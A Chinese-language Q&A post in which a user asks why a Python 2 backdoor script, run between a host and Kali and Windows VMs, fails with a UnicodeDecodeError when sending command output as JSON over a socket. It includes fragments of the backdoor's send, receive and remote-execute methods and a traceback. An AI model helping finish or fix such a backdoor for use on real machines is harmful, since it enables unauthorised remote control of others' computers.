在python中使用json发送数据时出现问题(ut8错误)

2024-06-02 20:33:53 发布

您现在位置:Python中文网/ 问答频道 /正文

我有一个脚本问题,它是一个备用后门,在我的主机和我的VM Kali之间工作正常,但在我的主机和我的VM Windows之间,我收到一条错误消息,上面写着“UnicodeDecodeError:'utf8'编解码器无法解码第58位的字节0x82:无效的开始字节”。 我使用Json传输和接收数据。 我知道这是一个解码错误,但我真的不知道如何解决这个问题

我的代码中转储数据以使用json发送和接收的部分:

    def reliable_send(self, data):
    json_data = json.dumps(data)
    self.connection.send(json_data)

def reliable_receive(self):
    json_data = self.connection.recv(1024)
    return json.loads(json_data)

def execute_remotely(self, command):
    self.reliable_send(command)
    return self.reliable_receive()

谢谢你的帮助:)

编辑:我的错误消息:

    C:\Python27>backdoor.py
Traceback (most recent call last):
File "C:\Python27\backdoor.py", line 39, in <module>
    my_backdoor.run()
File "C:\Python27\backdoor.py", line 34, in run
    self.reliable_send(command_result)
File "C:\Python27\backdoor.py", line 17, in reliable_send
    json_data = json.dumps(data)
File "C:\Python27\lib\json\__init__.py", line 244, in dumps
    return _default_encoder.encode(obj)
File "C:\Python27\lib\json\encoder.py", line 201, in encode
    return encode_basestring_ascii(o)
UnicodeDecodeError: 'utf8' codec can't decode byte 0x82 in position 58: invalid stard byte

Tags: inpyselfsendjsondatareturndef